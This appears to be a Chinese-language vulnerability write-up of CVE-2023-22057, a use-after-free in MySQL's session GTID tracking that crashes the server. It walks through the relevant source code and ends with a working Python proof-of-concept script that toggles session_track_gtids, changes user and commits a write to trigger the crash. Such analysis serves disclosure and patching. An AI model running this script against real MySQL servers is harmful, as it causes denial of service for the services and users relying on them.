漏洞分析 · 2023年7月31日 0

【CVE-2023-22057】【MySQL】DDos漏洞

披露时间线

总结

当在会话中开启和关闭session_track_gtids,然后进行会话重置或切换用户时,可能会触发段错误(segfault),导致服务中断。

细节

rpl_context.h的UAF

攻击者可以让MySQL处于一种状态,使得在调用Session_consistency_gtids_ctx::notify_ctx_change_listener()时,m_listener成为悬空指针(dangling pointer),从而达到UAF的目的,导致MySQL被DDoS。

  inline void notify_ctx_change_listener() {
    m_listener->notify_session_gtids_ctx_change();
  }

首先将session_track_gtids会话变量设置为ALL或OWN_GTID来触发的,这将导致会话的Session_gtid_tracker对象将m_enabled设置为true,然后将自身注册为m_listener。

  m_enabled = thd->variables.session_track_gtids != SESSION_TRACK_GTIDS_OFF &&
              /* No need to track GTIDs for system threads. */
              thd->system_thread == NON_SYSTEM_THREAD;
  if (m_enabled) {
    // register to listen to gtids context state changes
    thd->rpl_thd_ctx.session_gtids_ctx().register_ctx_change_listener(this,
                                                                      thd);

接着,session_track_gtids必须再次设置为OFF,这会导致m_enabled再次设置为false。

然后,必须重新设置连接,可以通过发送COM_RESET_CONNECTION或COM_CHANGE_USER来实现。这两种方式都会调用THD::cleanup_connection(),最终销毁Session_gtid_tracker对象。

THD::cleanup_connection()
→ THD::cleanup()
  → Session_tracker::deinit()
    → Session_gtid_tracker::~Session_gtid_tracker()

在Session_gtid_tracker::~Session_gtid_tracker()中,只有当m_enabled为true时才会将自身从m_listener注销,而在上一步中,m_enabled不为true。这导致m_listener成为了一个悬空指针。

  ~Session_gtids_tracker() override {
    /*
     Unregister the listener if the tracker is being freed. This is needed
     since this may happen after a change user command.
     */
    if (m_enabled && current_thd)
      current_thd->rpl_thd_ctx.session_gtids_ctx()
          .unregister_ctx_change_listener(this);
    if (m_encoder) delete m_encoder;
  }

然后将session_track_gtids再次设置为ALL或OWN_GTID,这将导致新的Session_gtid_tracker尝试注册自身为m_listener,但由于m_listener不是nullptr,注册过程将失败。

任何已提交的写事务都将生成一个GTID,这将触发对Session_consistency_gtids_ctx::notify_ctx_change_listener()的调用,该调用将解引用悬空指针,并很可能导致段错误。

可以使用以下Python脚本重现此问题(gtid_mode必须设置为ON或ON_PERMISSIVE)

#!/usr/bin/env python3
import mysql.connector

cnx = mysql.connector.MySQLConnection(
    port=3308,
    user='test_user_1',
    password='test',
    database='test',
    connection_timeout=99999,
)
print(cnx.cmd_query("SET session_track_gtids = 'OWN_GTID'"))
print(cnx.cmd_query("SET session_track_gtids = 'OFF'"))
print(cnx.cmd_change_user(
    username='test_user_2',
    password='test',
    database='test',
))
print(cnx.cmd_query("SET session_track_gtids = 'OWN_GTID'"))
print(cnx.cmd_query("INSERT INTO test VALUES ()"))
print(cnx.cmd_query("COMMIT"))

为了触发崩溃,必须满足以下条件:

  1. 能够切换session_track_gtids。由于这是一个会话变量,任何访问级别都将允许这样做。
  2. 能够重置会话。攻击者可以通过发送COM_RESET_CONNECTION请求来实现,这对任何访问级别的攻击者都可行。
  3. 能够提交任何写事务。它不能是一个空操作,因为它必须生成一个GTID,这意味着必须写入binlog。攻击者至少需要对任何表具有写入权限。